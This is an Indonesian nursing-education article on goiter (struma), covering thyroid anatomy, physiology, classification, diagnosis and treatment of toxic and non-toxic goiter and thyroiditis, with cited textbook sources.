Askep Asuhan Keperawatan Struma

Askep Asuhan Keperawatan Struma setelah sebelumnya update Askep Asuhan Keperawatan Morbus Basedow dan Askep Kanker Tyroid

1. Defenisi Struma

Kelainan glandula tyroid dapat berupa gangguan fungsi seperti tiritosikosis atau perubahan susunan kelenjar dan morfologinya, seperti penyakit tyroid noduler. Berdasarkan patologinya, pembesaran tyroid umumnya disebut struma (De Jong & Syamsuhidayat, 1998).

2. Embriologi Struma

Kelenjar tyroid berkembang dari endoderm pada garis tengah usus depan (De Jong & Syamsuhidayat, 1998). Kelenjar tyroid mulai terlihat terbentuk pada janin berukuran 3,4-4 cm, yaitu pada akhir bulan pertama kehamilan. Kelenjar tyroid berasal dari lekukan faring antara branchial pouch pertama dan kedua. Dari bagian tersebut timbul divertikulum, yang kemudian membesar, tumbuh ke arah bawah mengalami desensus dan akhirnya melepaskan diri dari faring. Sebelum lepas, berbentuk sebagai duktus tyroglossus yang berawal dari foramen sekum di basis lidah.

Duktus ini akan menghilang setelah dewasa, tetapi pada keadaan tertentu masih menetap. Dan akan ada kemungkinan terbentuk kelenjar tyroid yang letaknya abnormal, seperti persisten duktud tyroglossus, tyroid servikal, tyroid lingual, sedangkan desensus yang terlalu jauh akan membentuk tyroid substernal. Branchial pouch keempat ikut membentuk kelenjar tyroid, merupakan asal sel-sel parafolikular atau sel C, yang memproduksi kalsitonin.(IPD I). Kelenjar tyroid janin secara fungsional mulai mandiri pada minggu ke-12 masa kehidupan intrauterin. (De Jong & Syamsuhidayat, 1998).

3. Anatomi

Kelenjar tyroid terletak dibagian bawah leher, antara fascia koli media dan fascia prevertebralis. Didalamruang yang sama terletak trakhea, esofagus, pembuluh darah besar, dan syaraf. Kelenjar tyroid melekat pada trakhea sambil melingkarinya dua pertiga sampai tiga perempat lingkaran. Keempat kelenjar paratyroid umumnya terletak pada permukaan belakang kelenjar tyroid (De Jong & Syamsuhidayat, 1998).

Tyroid terdiri atas dua lobus, yang dihubungkan oleh istmus dan menutup cincin trakhea 2 dan 3. Kapsul fibrosa menggantungkan kelenjar ini pada fasia pretrakhea sehingga pada setiap gerakan menelan selalu diikuti dengan terangkatnya kelenjar kearah kranial. Sifat ini digunakan dalam klinik untuk menentukan apakah suatu bentukan di leher berhubungan dengan kelenjar tyroid atau tidak (Djokomoeljanto, 2001).

Vaskularisasi kelenjar tyroid berasal dari Arteri Tiroidea Superior (cabang dari Arteri Karotis Eksterna) dan a. Tyroidea Inferior (cabang Arteri Subklavia). Setiap folikel lymfoid diselubungi oleh jala-jala kapiler, dan jala-jala limfatik, sedangkan sistem venanya berasal dari pleksus perifolikular (Djokomoeljanto, 2001).

Nodus Lymfatikus tyroid berhubungan secara bebas dengan pleksus trakhealis yang kemudian ke arah nodus prelaring yang tepat di atas istmus, dan ke nl. Pretrakhealis dan nl. Paratrakhealis, sebagian lagi bermuara ke nl. Brakhiosefalika dan ada yang langsung ke duktus thoraksikus. Hubungan ini penting untuk menduga penyebaran keganasan (Djokomoeljanto, 2001).

4. Histologi Struma

Pada usia dewasa berat kelenjar ini kira-kira 20 gram. Secara mikroskopis terdiri atas banyak folikel yang berbentuk bundar dengan diameter antara 50-500 ?m. Dinding folikel terdiri dari selapis sel epitel tunggal dengan puncak menghadap ke dalam lumen, sedangkan basisnya menghadap ke arah membran basalis. Folikel ini berkelompok sebanyak kira-kira 40 buah untuk membentuk lobulus yang mendapat vaskularisasi dari end entry. Setiap folikel berisi cairan pekat, koloid sebagian besar terdiri atas protein, khususnya protein tyroglobulin (BM 650.000) (Djokomoeljanto, 2001)

5. Fisiologi Hormon Tyroid

Kelenjar tyroid menghasilkan hormon tyroid utama yaitu Tiroksin (T4). Bentuk aktif hormon ini adalah Triodotironin (T3), yang sebagian besar berasal dari konversi hormon T4 di perifer, dan sebagian kecil langsung dibentuk oleh kelenjar tyroid. Iodida inorganik yang diserap dari saluran cerna merupakan bahan baku hormon tyroid. Iodida inorganik mengalami oksidasi menjadi bentuk organik dan selanjutnya menjadi bagian dari tyrosin yang terdapat dalam tyroglobulin sebagai monoiodotirosin (MIT) atau diiodotyrosin (DIT). Senyawa DIT yang terbentuk dari MIT menghasilkan T3 atau T4 yang disimpan di dalam koloid kelenjar tyroid.

Sebagian besar T4 dilepaskan ke sirkulasi, sedangkan sisanya tetap didalam kelenjar yang kemudian mengalami diiodinasi untuk selanjutnya menjalani daur ulang. Dalam sirkulasi, hormon tyroid terikat pada globulin, globulin pengikat tyroid (thyroid-binding globulin, TBG) atau prealbumin pengikat tiroksin (Thyroxine-binding pre-albumine, TPBA) (De Jong & Syamsuhidayat, 1998).

6. Metabolisme T3 dan T4

Waktu paruh T4 di plasma ialah 6 hari sedangkan T3 24-30 jam. Sebagian T4 endogen (5-17%) mengalami konversi lewat proses monodeiodonasi menjadi T3. Jaringan yang mempunyai kapasitas mengadakan perubahan ini ialah jaringan hati, ginjal, jantung dan hipofisis. Dalam proses konversi ini terbentuk juga rT3 (reversed T3, 3,3',5' triiodotironin) yang tidak aktif, yang digunakan mengatur metabolisme pada tingkat seluler (Djokomoeljanto, 2001).

Pengaturan faal tiroid :

Ada 4 macam kontrol terhadap faal kelenjar tiroid : (Djokomoeljanto, 2001)

1. TRH (Thyrotrophin releasing hormone)
   
   Tripeptida yang disentesis oleh hpothalamus. Merangsang hipofisis mensekresi TSH (thyroid stimulating hormone) yang selanjutnya kelenjar tiroid teransang menjadi hiperplasi dan hiperfungsi
2. TSH (thyroid stimulating hormone)
   
   Glikoprotein yang terbentuk oleh dua sub unit (alfa dan beta). Dalam sirkulasi akan meningkatkan reseptor di permukaan sel tiroid (TSH-reseptor-TSH-R) dan terjadi efek hormonal yaitu produksi hormon meningkat
3. Umpan Balik sekresi hormon (negative feedback).
   
   Kedua hormon (T3 dan T4) ini menpunyai umpan balik di tingkat hipofisis. Khususnya hormon bebas. T3 disamping berefek pada hipofisis juga pada tingkat hipotalamus. Sedangkan T4 akan mengurangi kepekaan hipifisis terhadap rangsangan TSH.
4. Pengaturan di tingkat kelenjar tiroid sendiri.
   
   Produksi hormon juga diatur oleh kadar iodium intra tiroid

Efek metabolisme Hormon Tyroid : (Djokomoeljanto, 2001)

1. Kalorigenik
2. Termoregulasi
3. Metabolisme protein. Dalam dosis fisiologis kerjanya bersifat anabolik, tetapi dalam dosis besar bersifat katabolik
4. Metabolisme karbohidrat. Bersifat diabetogenik, karena resorbsi intestinal meningkat, cadangan glikogen hati menipis, demikian pula glikogen otot menipis pada dosis farmakologis tinggi dan degenarasi insulin meningkat.
5. Metabolisme lipid. T4 mempercepat sintesis kolesterol, tetapi proses degradasi kolesterol dan ekspresinya lewat empedu ternyata jauh lebih cepat, sehingga pada hiperfungsi tiroid kadar kolesterol rendah. Sebaliknya pada hipotiroidisme kolesterol total, kolesterol ester dan fosfolipid meningkat.
6. Vitamin A. Konversi provitamin A menjadi vitamin A di hati memerlukan hormon tiroid. Sehingga pada hipotiroidisme dapat dijumpai karotenemia.
7. Lain-lain : gangguan metabolisme kreatin fosfat menyebabkan miopati, tonus traktus gastrointestinal meninggi, hiperperistaltik sehingga terjadi diare, gangguan faal hati, anemia defesiensi besi dan hipotiroidisme.

7. Klasifikasi Struma

Pembesaran kelenjar tiroid (kecuali keganasan), Menurut American society for Study of Goiter membagi :

1. Struma Non Toxic Diffusa
2. Struma Non Toxic Nodusa
3. Stuma Toxic Diffusa
4. Struma Toxic Nodusa

Istilah Toksik dan Non Toksik dipakai karena adanya perubahan dari segi fungsi fisiologis kelenjar tiroid seperti hipertiroid dan hipotyroid, sedangkan istilah nodusa dan diffusa lebih kepada perubahan bentuk anatomi.

1. Struma non toxic nodusa
   
   Adalah pembesaran dari kelenjar tiroid yang berbatas jelas tanpa gejala-gejala hipertiroid.
   
   1. Etiologi : Penyebab paling banyak dari struma non toxic adalah kekurangan iodium. Akan tetapi pasien dengan pembentukan struma yang sporadis, penyebabnya belum diketahui.Struma non toxic disebabkan oleh beberapa hal, yaitu :
      
      1. Kekurangan iodium: Pembentukan struma terjadi pada difesiensi sedang yodium yang kurang dari 50 mcg/d. Sedangkan defisiensi berat iodium adalah kurang dari 25 mcg/d dihubungkan dengan hypothyroidism dan cretinism.
      2. Kelebihan yodium: jarang dan pada umumnya terjadi pada pre-existing penyakit tiroid autoimun
      3. Goitrogen :
         
         1. Obat : Propylthiouracil, litium, phenylbutazone, aminoglutethimide, expectorants yang mengandung yodium
         2. Agen lingkungan : Phenolic dan phthalate ester derivative dan resorcinol berasal dari tambang batu dan batubara.
         3. Makanan, Sayur-Mayur jenis Brassica ( misalnya, kubis, lobak cina, brussels kecambah), padi-padian millet, singkong, dan goitrin dalam rumput liar
      4. Dishormonogenesis: Kerusakan dalam jalur biosynthetic hormon kelejar tiroid
      5. Riwayat radiasi kepala dan leher : Riwayat radiasi selama masa kanak-kanak mengakibatkan nodul benigna dan maligna (Lee, 2004)
2. Struma Non Toxic Diffusa
   
   1. Etiologi: (Mulinda, 2005)
      
      1. Defisiensi Iodium
      2. Autoimmun thyroiditis: Hashimoto oatau postpartum thyroiditis
      3. Kelebihan iodium (efek Wolff-Chaikoff) atau ingesti lithium, dengan penurunan pelepasan hormon tiroid.
      4. Stimulasi reseptor TSH oleh TSH dari tumor hipofisis, resistensi hipofisis terhadap hormo tiroid, gonadotropin, dan/atau tiroid-stimulating immunoglobulin
      5. Inborn errors metabolisme yang menyebabkan kerusakan dalam biosynthesis hormon tiroid.
      6. Terpapar radiasi
      7. Penyakit deposisi
      8. Resistensi hormon tiroid
      9. Tiroiditis Subakut (de Quervain thyroiditis)
      10. Silent thyroiditis
      11. Agen-agen infeksi
      12. Suppuratif Akut : bacterial
      13. Kronik: mycobacteria, fungal, dan penyakit granulomatosa parasit
      14. Keganasan Tiroid
3. Struma Toxic Nodusa
   
   1. Etiologi : (Davis, 2005)
      
      1. Defisiensi iodium yang mengakibatkan penurunan level T4
      2. Aktivasi reseptor TSH
      3. Mutasi somatik reseptor TSH dan Protein G
      4. Mediator-mediator pertumbuhan termasuk: Endothelin-1 (ET-1), insulin like growth factor-1, epidermal growth factor, dan fibroblast growth factor.
4. Struma Toxic Diffusa
   
   Yang termasuk dalam struma toxic difusa adalah grave desease, yang merupakan penyakit autoimun yang masih belum diketahui penyebab pastinya (Adediji,2004)
   
   1. Patofisiologi :
      
      Gangguan pada jalur TRH-TSH hormon tiroid ini menyebabkan perubahan dalam struktur dan fungsi kelenjar tiroid gondok. Rangsangan TSH reseptor tiroid oleh TSH, TSH-Resepor Antibodi atau TSH reseptor agonis, seperti chorionic gonadotropin, akan menyebabkan struma diffusa. Jika suatu kelompok kecil sel tiroid, sel inflamasi, atau sel maligna metastase ke kelenjar tiroid, akan menyebabkan struma nodusa. (Mulinda, 2005)
      
      Defesiensi dalam sintesis atau uptake hormon tiroid akan menyebabkan peningkatan produksi TSH. Peningkatan TSH menyebabkan peningkatan jumlah dan hiperplasi sel kelenjar tyroid untuk menormalisir level hormon tiroid. Jika proses ini terus menerus, akan terbentuk struma. Penyebab defisiensi hormon tiroid termasuk inborn error sintesis hormon tiroid, defisiensi iodida dan goitrogen (Mulinda, 2005)
      
      Struma mungkin bisa diakibatkan oleh sejumlah reseptor agonis TSH. Yang termasuk stimulator reseptor TSH adalah reseptor antibodi TSH, kelenjar hipofise yang resisten terhadap hormon tiroid, adenoma di hipotalamus atau di kelenjar hipofise, dan tumor yang memproduksi human chorionic gonadotropin (Mulinda, 2005)
      

DIAGNOSIS DAN PENATALAKSANAAN

Diagnosis disebut lengkap apabila dibelakang struma dicantumkan keterangan lainnya, yaitu morfologi dan faal struma.

Dikenal beberapa morfologi (konsistensi) berdasarkan gambaran makroskopis yang diketahui dengan palpasi atau auskultasi :

1. Bentuk kista : Struma kistik
   
   1. Mengenai 1 lobus
   2. Bulat, batas tegas, permukaan licin, sebesar kepalan
   3. Kadang Multilobaris
   4. Fluktuasi (+)
2. Bentuk Noduler: Struma nodusa
   
   1. Batas Jelas
   2. Konsistensi kenyal sampai keras
   3. Bila keras curiga neoplasma, umumnya berupa adenocarcinoma tiroidea
3. Bentuk diffusa: Struma diffusa
   
   1. batas tidak jelas
   2. Konsistensi biasanya kenyal, lebih kearah lembek
4. Bentuk vaskuler: Struma vaskulosa
   
   1. Tampak pembuluh darah
   2. Berdenyut
   3. Auskultasi: Bruit pada neoplasma dan struma vaskulosa
   4. Kelejar getah bening: Para trakheal dan jugular vein

Dari faalnya struma dibedakan menjadi :

1. Eutiroid
2. Hipotiroid
3. Hipertiroid

Berdasarkan istilah klinis dibedakan menjadi :

1. Nontoksik : eutiroid/hipotiroid
2. Toksik : Hipertiroid

Pemeriksaan Fisik :

1. Status Generalis :
   
   1. Tekanan darah meningkat
   2. Nadi meningkat
2. Mata :
   
   1. Exopthalmus
   2. Stelwag Sign: Jarang berkedip
   3. Von Graefe Sign: Palpebra superior tidak mengikut bulbus okuli waktu melihat ke bawah
   4. Morbus Sign : Sukar konvergensi
   5. Joffroy Sign : Tidak dapat mengerutkan dahi
   6. Ressenbach Sign : Tremor palpebra jika mata tertutup
3. Hipertroni simpatis : Kulit basah dan dingin, tremor halus
4. Jantung : Takikardi
5. Status Lokalis :
   
   1. Inspeksi
      
      1. Benjolan
      2. Warna
      3. Permukaan
      4. Bergerak waktu menelan
   2. Palpasi
      
      1. Permukaan, suhu
      2. Batas :
         
         1. Atas : Kartilago tiroid
         2. Bawah : incisura jugularis
         3. Medial : garis tengah leher
         4. Lateral : M. Sternokleidomastoideus

STRUMA NON TOKSIK

Struma non toksik adalah pembesaran kelenjar tiroid pada pasien eutiroid, tidak berhubungan dengan neoplastik atau proses inflamasi. Dapat difus dan simetri atau nodular.

Apabila dalam pemeriksaan kelenjar tiroid teraba suatu nodul, maka pembesaran ini disebut struma nodosa. Struma nodosa tanpa disertai tanda-tanda hipertiroidisme disebut struma nodosa non-toksik. Struma nodosa atau adenomatosa terutama ditemukan di daerah pegunungan karena defisiensi iodium. Biasanya tiroid sudah mlai membesar pada usia muda dan berkembang menjadi multinodular pada saat dewasa.

Struma multinodosa terjadi pada wanita usia lanjut dan perubahan yang terdapat pada kelenjar berupa hiperplasi sampai bentuk involusi. Kebanyakan penderita struma nodosa tidak mengalami keluhan karena tidak ada hipotiroidisme atau hipertiroidisme. Nodul mungkin tunggal tetapi kebanyakan berkembang menjadi multinoduler yang tidak berfungsi.

Degenerasi jaringan menyebabkan kista atau adenoma. Karena pertumbuhannya sering berangsur-angsur, struma dapat menjadi besar tanpa gejala kecuali benjolan di leher. Walaupun sebagian struma nodosa tidak mengganggu pernapasan karena menonjol ke depan, sebagian lain dapat menyebabkan penyempitan trakea jika pembesarannya bilateral. Pendorongan bilateral demikian dapat dicitrakan dengan foto Roentgen polos (trakea pedang). Penyempitan yang berarti menyebabkan gangguan pernapasan sampai akhirnya terjadi dispnea dengan stridor inspirator (Noer, 1996) .

Manifestasi klinis

Struma nodosa dapat diklasifikasikan berdasarkan beberapa hal (Mansjoer, 2001) :

1. Berdasarkan jumlah nodul: bila jumlah nodul hanya satu disebut struma nodosa soliter (uninodosa) dan bila lebih dari satu disebut multinodosa.
2. Berdasarkan kemampuan menangkap yodium radoiaktif : nodul dingin, nodul hangat, dan nodul panas.
3. Berdasarkan konsistensinya : nodul lunak, kistik, keras, atau sangat keras.

Pada umumnya pasien struma nodosa datang berobat karena keluhan kosmetik atau ketakutan akan keganasan. Sebagian kecil pasien, khususnya yang dengan struma nodosa besar, mengeluh adanya gejala mekanis, yaitu penekanan pada esophagus (disfagia) atau trakea (sesak napas) (Noer, 1996). Gejala penekanan ini data juga oleh tiroiditis kronis karena konsistensinya yang keras (Tim penyusun, 1994). Biasanya tidak disertai rasa nyeri kecuali bila timbul perdarahan di dalam nodul (Noer, 1996).

Keganasan tiroid yang infiltrasi nervus rekurens menyebabkan terjadinya suara parau (Tim penyusun, 1994).

Kadang-kadang penderita datang dengan karena adanya benjolan pada leher sebelah lateral atas yang ternyata adalah metastase karsinoma tiroid pada kelenjar getah bening, sedangkan tumor primernya sendiri ukurannya masih kecil. Atau penderita datang karena benjolan di kepala yang ternyata suatu metastase karsinoma tiroid pada kranium (Tim penyusun, 1994).

Diagnosis

Anamnesa sangatlah pentinglah untuk mengetahui patogenesis atau macam kelainan dari struma nodosa non toksika tersebut. Perlu ditanyakan apakah penderita dari daerah endemis dan banyak tetangga yang sakit seperti penderita (struma endemik). Apakah sebelumnya penderita pernah mengalami sakit leher bagian depan bawah disertai peningkatan suhu tubuh (tiroiditis kronis). Apakah ada yang meninggal akibat penyakit yang sama dengan penderita (karsinoma tiroid tipe meduler) (Tim penyusun, 1994).

Pada status lokalis pemeriksaan fisik perlu dinilai (Mansjoer, 2001) :

1. jumlah nodul
2. konsistensi
3. nyeri pada penekanan : ada atau tidak
4. pembesaran gelenjar getah bening

Inspeksi dari depan penderita, nampak suatu benjolan pada leher bagian depan bawah yang bergerak ke atas pada waktu penderita menelan ludah. Diperhatikan kulit di atasnya apakah hiperemi, seperti kulit jeruk, ulserasi.

Palpasi dari belakang penderita dengan ibu jari kedua tangan pada tengkuk penderita dan jari-jari lain meraba benjolan pada leher penderita.

Pada palpasi harus diperhatikan :

1. lokalisasi benjolan terhadap trakea (mengenai lobus kiri, kanan atau keduanya)
2. ukuran (diameter terbesar dari benjolan, nyatakan dalam sentimeter)
3. konsistensi
4. mobilitas
5. infiltrat terhadap kulit/jaringan sekitar
6. apakah batas bawah benjolan dapat diraba (bila tak teraba mungkin ada bagian yang masuk ke retrosternal)

Meskipun keganasan dapat saja terjadi pada nodul yang multiple, namun pada umumnya pada keganasan nodulnya biasanya soliter dan konsistensinya keras sampai sangat keras. Yang multiple biasanya tidak ganas kecuali bila salah satu nodul tersebut lebih menonjol dan lebih keras dari pada yang lainnya.

Harus juga diraba kemungkinan pembesaran kelenjar getah bening leher, umumnya metastase karsinoma tiroid pada rantai juguler (Tim penyusun, 1994).

Pemeriksaan penunjang meliputi (Mansjoer, 2001) :

1. Pemeriksaan sidik tiroid
   
   Hasil pemeriksaan dengan radioisotop adalah teraan ukuran, bentuk lokasi, dan yang utama ialah fungsi bagian-bagian tiroid. Pada pemeriksaan ini pasien diberi Nal peroral dan setelah 24 jam secara fotografik ditentukan konsentrasi yodium radioaktif yang ditangkap oleh tiroid. Dari hasil sidik tiroid dibedakan 3 bentuk
   
   1. Nodul dingin bila penangkapan yodium nihil atau kurang dibandingkan sekitarnya. Hal ini menunjukkan sekitarnya.
   2. Nodul panas bila penangkapan yodium lebih banyak dari pada sekitarnya. Keadaan ini memperlihatkan aktivitas yang berlebih
   3. Nodul hangat bila penangkapan yodium sama dengan sekitarnya. Ini berarti fungsi nodul sama dengan bagian tiroid yang lain.
2. Pemeriksaan Ultrasonografi (USG)
   
   Pemeriksaan ini dapat membedakan antara padat, cair, dan beberapa bentuk kelainan, tetapi belum dapat membedakan dengan pasti ganas atau jinak. Kelainan-kelainan yang dapat didiagnosis dengan USG :
   
   1. Kista
   2. Adenoma
   3. Kemungkinan karsinoma
   4. Tiroiditis
3. Biopsi aspirasi jarum halus (Fine Needle Aspiration/FNA)
   
   Mempergunakan jarum suntik no. 22-27. Pada kista dapat juga dihisap cairan secukupnya, sehingga dapat mengecilkan nodul (Noer, 1996).
   
   Dilakukan khusus pada keadaan yang mencurigakan suatu keganasan. Biopsi aspirasi jarum halus tidak nyeri, hampir tidak menyababkan bahaya penyebaran sel-sel ganas. Kerugian pemeriksaan ini dapat memberikan hasil negatif palsu karena lokasi biopsi kurang tepat, teknik biopsi kurang benar, pembuatan preparat yang kurang baik atau positif palsu karena salah interpretasi oleh ahli sitologi.
   
4. Termografi
   
   Metode pemeriksaan berdasarkan pengukuran suhu kulit pada suatu tempat dengan memakai Dynamic Telethermography. Pemeriksaan ini dilakukan khusus pada keadaan yang mencurigakan suatu keganasan. Hasilnya disebut panas apabila perbedaan panas dengan sekitarnya > 0,9^o C dan dingin apabila <0,9^o C. Pada penelitian Alves didapatkan bahwa pada yang ganas semua hasilnya panas. Pemeriksaan ini paling sensitif dan spesifik bila dibanding dengan pemeriksaan lain.
5. Petanda Tumor
   
   Pada pemeriksaan ini yang diukur adalah peninggian tiroglobulin (Tg) serum. Kadar Tg serum normal antara 1,5-3,0 ng/ml, pada kelainan jinak rataa-rata 323 ng/ml, dan pada keganasan rata-rata 424 ng/ml.

Penatalaksanaan

Indikasi operasi pada struma nodosa non toksika ialah (tim penyusun, 1994) :

1. Keganasan
2. Penekanan
3. Kosmetik

Tindakan operasi yang dikerjakan tergantung jumlah lobus tiroid yang terkena. Bila hanya satu sisi saja dilakukan subtotal lobektomi, sedangkan kedua lobus terkena dilakukan subtotal tiroidektomi. Bila terdapat pembesaran kelenjar getah bening leher maka dikerjakan juga deseksi kelenjar leher fungsional atau deseksi kelenjar leher radikal/modifikasi tergantung ada tidaknya ekstensi dan luasnya ekstensi di luar kelenjar getah bening.

Radioterapi diberikan pada keganasan tiroid yang :

1. Inoperabel
2. Kontraindikasi operasi
3. Ada residu tumor setelah operasi
4. Metastase yang non resektabel

Hormonal terapi dengan ekstrak tiroid diberikan selain untuk suplemen juga sebagai supresif untuk mencegah terjadinya kekambuhan pada pasca bedah karsinoma tiroid diferensiasi baik (TSH dependence). Terapai supresif ini juga ditujukan terhadap metastase jauh yang tidak resektabel dan terapi adjuvan pada karsinoma tiroid diferensiasi baik yang inoperabel.

Preparat : Thyrax tablet

Dosis : 3x75 Ug/hari per-oral

STRUMA TOKSIKM

1. Struma difus toksik (Grave's Disease)

Grave's disease adalah bentuk umum dari tirotoksikosis. Penyakit Grave's terjadi akibat antibodi reseptor TSH (Thyroid Stimulating Hormone) yang merangsangsang aktivitas tiroid itu sendiri (Mansjoer, 2001).

Manifestasi klinis

Pada penyakit Graves terdapat dua gambaran utama yaitu tiroidal dan ekstratiroidal. Keduanya mungkin tidak tampak. Ciri-ciri tiroidal berupa goiter akibat hiperplasia kelenjar tiroid dan hipertiroidisme akibat sekresi hormon tiroid yang berlebihan (Price dan Wilson, 1994).

Gejala-gejala hipertiroidisme berupa manifestasi hipermetabolisme dan aktivitas simpatis yang berlebihan. Pasien mengeluh lelah, gemetar, tidak tahan panas, keringat semakin banyak bila panas, kulit lembab, berat badan menurun, sering disertai dengan nafsu makan meningkat, palpitasi, takikardi, diare, dan kelemahan serta atrofi otot.

Manifestasi ekstratiroidal berupa oftalmopati dan infiltrasi kulit lokal yang biasanya terbatas pada tungkai bawah. Oftalmopati ditandai dengan mata melotot, fisura palpebra melebar, kedipan berkurang, lid lag (keterlambatan kelopak mata dalam mengikuti gerakan mata), dan kegagalan konvergensi. Jaringan orbita dan dan otot-otot mata diinfltrasi oleh limfosit, sel mast dan sel-sel plasma yang mengakibatkan eksoltalmoa (proptosis bola mata), okulopati kongestif dan kelemahan gerakan ekstraokuler (Price dan Wilson, 1994).

Diagnosis

Sebagian besar pasien memberikan gejala klinis yang jelas, tetapi pemeriksaan laboratorium tetap perlu untuk menguatkan diagnosis. Pada kasus-kasus subklinis dan pasien usia lanjut perlu pemeriksaan laboratorium yang cermat untuk membantu menetapkan diagnosis hipertiroidisme. Diagnosis pada wanita hamil agak sulit karena perubahan fisiologis pada kehamilan pembesaran tiroid serta manifestasi hipermetabolik, sama seperti tirotoksikosis.

Menurut Bayer MF, pada pasien hipertiroidisme akan didapatkan Thyroid Stimulating Hormone sensitive (TSHs) tak terukur atau jelas subnormal an Free T4 (FT4) meningkat (Mansjoer, 2001).

Penatalaksanaan

Tujuan pengobatan hipertiroidisme adalah membatasi produksi hormon tiroid yang berlebihan dengan cara menekan produksi (obat antitiroid) atau merusak jaringan tiroid (yodium radioaktif, tiroidektomi subtotal).

1. Obat antitiroid
   
   1. Indikasi :
      
      1. Terapi untuk memperpanjang remisi atau mendapatkan remisi yang menetap, pada pasien muda dengan struma ringan sampai sedang dan tirotoksikosis.
      2. Obat untuk mengontrol tirotoksikosis pada fase sebelum pengobatan, atau sesudah pengobatan pada pasien yang mendapat yodium aktif.
      3. Persiapan tiroidektomi
      4. Pengobatan pasien hamil dan orang lanjut usia
      5. Pasien dengan krisis tiroid
   2. Obat antitiroid yang sering digunakan :
      

      Obat	Dosis awal (mg/hari)	Pemeliharaan (mg/hari)
      Karbimazol	30-60	5-20
      Metimazol	30-60	5-20
      Propiltourasil	300-600	5-200

2. Pengobatan dengan yodium radioaktif
   
   1. Indikasi :
      
      1. Pasien umur 35 tahun atau lebih
      2. Hipertiroidisme yang kambuh sesudah penberian dioperasi
      3. Gagal mencapai remisi sesudah pemberian obat antitiroid
      4. Adenoma toksik, goiter multinodular toksik
      
      
3. Operasi
   
   Tiroidektomi subtotal efektif untuk mengatasi hipertiroidisme. Indikasi :
   
   1. Pasien umur muda dengan struma besar serta tidak berespons terhadap obat antitiroid.
   2. Pada wanita hamil (trimester kedua) yang memerlukan obat antitiroid dosis besar
   3. Alergi terhadap obat antitiroid, pasien tidak dapat menerima yodium radioaktif
   4. Adenoma toksik atau struma multinodular toksik
   5. Pada penyakit Graves yang berhubungan dengan satu atau lebih nodul

2. Struma nodular toksik

Struma nodular toksik juga dikenal sebagai Plummer's disease (Sadler et al, 1999). Paling sering ditemukan pada pasien lanjut usia sebagai komplikasi goiter nodular kronik.

Manifestasi klinis

Penderita mungkin mengalami aritmia dan gagal jantung yang resisten terhadap terapi digitalis. Penderita dapat pula memperlihatkan bukti-bukti penurunan berat badan, lemah, dan pengecilan otot. Biasanya ditemukan goiter multi nodular pada pasien-pasien tersebut yang berbeda dengan pembesaran tiroid difus pada pasien penyakit Graves.

Penderita goiter nodular toksik mungkin memperlihatkan tanda-tanda mata (melotot, pelebaran fisura palpebra, kedipan mata berkurang) akibat aktivitas simpatis yang berlebihan. Meskipun demikian, tidak ada manifestasi dramatis oftalmopati infiltrat seperti yang terlihat pada penyakit Graves (Price dan Wilson, 1994). Gejala disfagia dan sesak napas mungkin dapat timbul. Beberapa goiter terletak di retrosternal (Sadler et al, 1999)

Diagnosis

Diagnosis ditegakkan berdasarkan riwayat, pemeriksaan fisik dan didukung oleh tingkat TSH serum menurun dan tingkat hormon tiroid yang meningkat. Antibodi antitiroid biasanya tidak ditemukan (Sadler et al, 1999)

Penatalaksanaan

Terapi dengan pengobatan antitiroid atau beta bloker dapt mengurangi gejala tetapi biasanya kurang efektif dari pada penderita penyakit Graves. Radioterapi tidak efektif seperti penyakit Graves karena pengambilan yang rendah dan karena penderita ini membutuhkan dosis radiasi yang besar. Untuk nodul yang soliter, nodulektomi atau lobektomi tiroid adalah terapi pilihan karena kanker jarang terjadi. Untuk struma multinodular toksik, lobektomi pada satu sisi dan subtotal lobektomi pada sisi yang lain adalah dianjurkan (Sadler et al, 1999)

PENYAKIT TIROID YANG LAIN

Tiroiditis

Ditandai dengan pembesaran, peradangan dan disfungsi kelenjar tiroid.

Klasifikasi (Noer, 1996) :

1. Akut (supuratif)
   
   Disebut juga infective thyroiditis, infeksi oleh bakteri atau jamur. Bentuk khas infeksi bakterial ini ialah tiroiditis septik akut. Kuman penyebab antara lain Staphylococcus aureus, Streptococcus hemolyticus, dan Pneumococcus. Infeksi terjadi melalui aliran darah, penyebaran langsung dari jaringan sekitarnya, saluran getah bening, trauma langsung dan duktus tiroglosus yang persisten. Kelainan yang tejadi dapat disertai abses atau tanpa abses.
   
   Gejala klinis berupa nyeri di leher mendadak, malaise, demam, menggigil, dan takikardi. Nyeri bertambah pada pergerakan leher dan gerakan menelan. Daerah tiroid membengkak dengan tanda-tanda radang lain dan sangat nyeri tekan. Pemeriksaan laboratorium menunjukkan leukositosis, LED meninggi, sidikan tiroid menunjukkan nodul dingin. Pengobatan utama adalah antibiotik. Kokus gram positif biasanya diatasi dengan penisilin atau derivatnya, tetrasiklin atan kloramfenikol. Apabila terjadi abses melibatkan satu lobus diperlukan lobektomi (dengan lindungan antibiotik). Jika infeksi sudah menyebar melalui kapsul dan mencapai jaringan sekitarnya, diperlukan insisi dan drainage.
   
2. Subakut
   
   Etiologi umumnya diduga oleh virus. Pada beberapa kasus dijumpai antibodi autoimun. Pasien mengeluh di leher bagian depan menjalar ke telinga, demam, malaise, disertai hipertiroidisme ringan atau sedang. Pada pameriksaan fisik ditemukan tiroid membesar, nyeri tekan, biasanya disertai takikardi berkeringat, demam, tremor dan tanda-tanda lain hipertiroidisme. Pemeriksaan laboratorium sering di jumpai leukositosis, laju endap darah meningkat.
   
   Pada 2/3 kasus kadar hormon tiroid meninggi karena penglepasan yang berlebihan akibat destruksi kelenjar tiroid oleh proses inflamasi. Penyakit ini biasanya sembuh sendiri sehingga pengobatan yang diberikan bersifat simtomatis. Dapat diberikan asetosal untuk mengurangi nyeri. Pada keadaan berat dapat diberikan glukokortokoid misalnya prednison dengan dosis awal 50 mg/hari.
   
3. Menahun
   
   1. Limfositik (Hashimoto)
      
      Merupakan suatu tiroiditis autoimun dengan nama lain yaitu struma limfomatosa, tiroiditis autoimun. Umumnya menyerang wanita berumur 30-50 tahun. Kelenjar tiroid biasanya membesar lambat, tidak terlalu besar, simetris, regular dan padat. Kadang-kadang ada nyeri spontan dan nyeri tekan. Bisa eutiroid atau hipotiroid dan jarang hipertiroid. Kelainan histopatologisnya antara lain infiltrasi limfosit yang difus, obliterasi folikel tiroid dan fibrosis. Diagnosis hanya dapat ditegakkan dengan pasti secara histologis melalui biopsi. Bila kelenjar tiroid sangat besar mungkin diperlukan pengangkatan, tetapi operasi ini sebaiknya ditunda karena kelenjar tiroid dapat mengecil sejalan denagn waktu. Pemberian tiroksin dapat mempercepat hal tersebut.
   2. Non spesifik
      
      Fibrous-invasif (Riedel)

DAFTAR PUSTAKA

